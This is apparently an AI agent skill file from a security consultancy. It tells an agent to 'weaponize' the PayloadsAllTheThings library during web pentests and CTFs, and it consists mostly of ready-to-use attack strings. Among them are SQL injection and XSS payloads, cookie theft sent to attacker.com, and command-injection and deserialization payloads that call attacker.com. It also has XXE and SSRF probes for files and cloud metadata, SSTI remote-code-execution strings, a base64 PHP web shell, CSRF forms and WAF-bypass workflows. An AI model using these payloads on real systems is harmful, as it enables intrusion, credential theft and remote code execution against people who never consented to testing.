| name | payloads-all-the-things |
| description | Use and weaponize the PayloadsAllTheThings payload library for web application penetration testing and CTF engagements. Use when the user needs injection payloads, bypass techniques, or exploitation strings for SQL injection, XSS, command injection, SSRF, XXE, SSTI, CSRF, LFI/RFI, directory traversal, authentication bypass, or deserialization attacks. Covers payload selection, real-world delivery with Burp Suite and curl, WAF bypass, chaining vulnerabilities, and reporting. Source: https://github.com/swisskyrepo/PayloadsAllTheThings
|
| metadata | {"author":"redhoundinfosec","version":"1.0","repo":"https://github.com/swisskyrepo/PayloadsAllTheThings","stars":"76602"} |
payloads-all-the-things Agent Skill
When to Use This Skill
Use this skill when:
- The user needs injection payloads for a web application pentest or CTF
- Testing for SQLi, XSS, SSTI, SSRF, XXE, command injection, LFI/RFI, or deserialization
- Looking for WAF bypass strings or encoding tricks
- Delivering payloads via Burp Suite, curl, or automated tooling
- The user references PayloadsAllTheThings (PATT) or asks for a payload cheat sheet
What PayloadsAllTheThings Is
PayloadsAllTheThings is a community-maintained repository of attack payloads and bypass
techniques organized by vulnerability class. It is a reference library — not a tool —
used to hand-pick or adapt payloads for manual and semi-automated testing. Pair it with
Burp Suite, curl, ffuf, or sqlmap to deliver payloads systematically.
Installation / Local Mirror
git clone --depth=1 https://github.com/swisskyrepo/PayloadsAllTheThings.git
cd PayloadsAllTheThings
ls
grep -r "sleep(5)" "SQL Injection/"
grep -r "{{7*7}}" "Server Side Template Injection/"
SQL Injection Payloads
Detection / Error-Based
'
''
`
')
"))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' OR 1=1/*
-- Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,version()))--
' AND updatexml(1,concat(0x7e,version()),1)--
-- Error-based (MSSQL)
' AND 1=convert(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
-- Time-based blind
' AND SLEEP(5)--
'; WAITFOR DELAY '0:0:5'-- -- MSSQL
' AND 1=(SELECT 1 FROM PG_SLEEP(5))-- -- PostgreSQL
Union-Based Extraction
' ORDER BY 1--
' ORDER BY 2
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'
' UNION SELECT username,password,NULL FROM users--
-- File read via UNION (MySQL, requires FILE privilege)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL
Delivery with curl and Burp
curl -s "http://target/item?id=1%27%20UNION%20SELECT%20user(),version(),NULL--"
curl -s -X POST http://target/login \
-d "user=admin'--&pass=x"
cat PayloadsAllTheThings/SQL\ Injection/Intruder/Auth_Bypass.txt
cat PayloadsAllTheThings/SQL\ Injection/Intruder/FUZZ_INT.txt
XSS Payloads
Reflected / Stored
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='
<ScRiPt>alert(1)</ScRiPt>
<script/src=//evil.com/x.js></script>
<img src="x" onerror="alert(1)">
<<script>alert(1)</script>
<svg><script>alert(1)</script></svg>
javascript:alert(1)
jaVaScRiPt:alert(1)
data:text/html,<script>alert(1)</script>
DOM XSS Sinks
document.write(location.hash)
document.innerHTML = location.search
eval(location.hash.slice(1))
http:
http:
XSS to Cookie Exfil
<script>
fetch('https://attacker.com/log?c='+btoa(document.cookie))
</script>
<img src=x onerror="new Image().src='https://attacker.com/?c='+document.cookie">
Command Injection
Detection Strings
; id
| id
|| id
& id
&& id
`id`
$(id)
; sleep 5
| sleep 5
; ping -c 3 attacker.com
Blind OOB (Out-of-Band) Confirmation
; curl http://$(whoami).attacker.com/
; nslookup `whoami`.attacker.com
; wget http://attacker.com/$(id|base64)
Filter Bypass
{IFS}id
cat${IFS}/etc/passwd
cat</etc/passwd
cat /etc/pa$()sswd
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
c'a't /etc/passwd
c"a"t /etc/passwd
Server-Side Request Forgery (SSRF)
Basic Probes
http://127.0.0.1/
http://localhost/
http://[::1]/
http://0.0.0.0/
http://169.254.169.254/latest/meta-data/ # AWS IMDSv1
http://metadata.google.internal/computeMetadata/v1/ # GCP (needs header)
http://169.254.169.254/metadata/v1/ # DigitalOcean
Protocol Wrappers
file:///etc/passwd
dict://127.0.0.1:6379/info # Redis
gopher://127.0.0.1:9200/_cat/indices # Elasticsearch
sftp://attacker.com:11111/
ldap://127.0.0.1:389/%0astats%0aquit
Bypass Techniques
# IP encoding
http://2130706433/ # 127.0.0.1 decimal
http://0x7f000001/ # 127.0.0.1 hex
http://0177.0.0.1/ # 127.0.0.1 octal
# DNS rebinding / redirector
http://attacker.com/redirect?to=http://169.254.169.254/
# IPv6
http://[::ffff:7f00:1]/
XML External Entity (XXE)
Classic File Read
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><name>&xxe;</name></root>
Blind OOB via DTD
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % oob "<!ENTITY % send SYSTEM 'http://attacker.com/?d=%file;'>">
%oob; %send;
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote;]>
<root/>
XXE in JSON Endpoints
curl -X POST http://target/api/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'
Server-Side Template Injection (SSTI)
Detection Polyglot
{{7*7}} → 49 (Jinja2/Twig)
${7*7} → 49 (FreeMarker/Thymeleaf)
<%= 7*7 %> → 49 (ERB/JSP)
#{7*7} → 49 (Ruby/Slim)
{{7*'7'}} → 7777777 (Jinja2)
RCE by Engine
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]("id",shell=True,stdout=-1).communicate()[0].strip()}} <!-- markdown-link-check: ignore -->
{%for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').system('id')")}}{% endif %}{% endfor %}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
<
<%= system("id") %>
Directory Traversal
../../../etc/passwd
..\..\..\windows\win.ini
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252fetc%252fpasswd
%2e%2e%2f%2e%2e%2fetc%2fpasswd
....//....//etc/passwd
..././..././etc/passwd
../../../../etc/passwd%00.jpg
/etc/passwd
C:\Windows\System32\drivers\etc\hosts
Authentication Bypass
SQL Auth Bypass
admin'--
admin'#
' OR 1=1--
' OR '1'='1'
admin') OR ('1'='1
') OR 1=1--
1' OR '1' = '1
JWT Manipulation
echo -n '{"alg":"none","typ":"JWT"}' | base64
Default Credentials (top combos)
admin:admin admin:password admin:1234
root:root root:toor admin:
test:test guest:guest operator:operator
File Inclusion (LFI/RFI)
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=/etc/passwd
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
?page=http://attacker.com/shell.txt
?page=\\attacker.com\share\shell.txt
Deserialization Attacks
Java (ysoserial)
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(id)' > payload.ser
curl -X POST http://target/api \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.ser
PHP Object Injection
./phpggc Monolog/RCE1 system id
./phpggc -u --fast-destruct Laravel/RCE11 system "curl http://attacker.com"
Python Pickle RCE
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://attacker.com/$(id)',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
CSRF Payloads
<img src="http://target/account/delete?confirm=yes">
<form action="http://target/transfer" method="POST" id="f">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.getElementById('f').submit();</script>
<script>
fetch('http://target/api/change-email',{
method:'POST',
credentials:'include',
headers:{'Content-Type':'application/json'},
body:'{"email":"attacker@evil.com"}'
})
</script>
Burp Suite Integration
1. Send request to Repeater → manually test single payloads
2. Send to Intruder → load PATT wordlist files for fuzzing
Wordlists live in: PayloadsAllTheThings/<Category>/Intruder/
3. Extensions:
- Active Scan++ uses PATT-style payloads automatically
- Copy As Python-Requests for curl reproduction
4. Match & Replace rules: auto-append SQLi probe to every GET param
Common Workflows
Enumeration → Exploitation Chain
ffuf -u "http://target/search?q=FUZZ" -w PayloadsAllTheThings/XSS\ Injection/Intruder/xss-reflected.txt -mr "<script"
curl -s "http://target/item?id=1' AND SLEEP(5)--" --max-time 10
sqlmap -u "http://target/item?id=1" --level=3 --risk=2 --dbs
WAF Bypass Workflow
curl -s -o /dev/null -w "%{http_code}" "http://target/?x=<script>alert(1)</script>"
curl -s "http://target/?x=%3Cscript%3Ealert(1)%3C%2Fscript%3E"
curl -s "http://target/?x=\u003cscript\u003ealert(1)\u003c/script\u003e"
sqlmap -u "http://target/?id=1" --tamper=space2comment,charencode,between
Troubleshooting
| Symptom | Likely Cause | Fix |
|---|
| Payload blocked by WAF | Signature match | Try encoding, case variation, comment insertion |
| SQLi payload causes 500 | Syntax mismatch (DB type) | Identify DB type first; use DB-specific syntax |
| SSRF returns empty | Outbound filtered | Try DNS-only OOB; check Collaborator/interactsh |
SSTI outputs literal {{7*7}} | Template engine not detected or escaped | Try alternate delimiters ${, #{}, <%= %> |
| XSS reflected but not executing | CSP blocking inline scripts | Check CSP header; look for JSONP/script-src bypass |
Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs.
20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting.
redhound.us | GitHub | Book a consultation
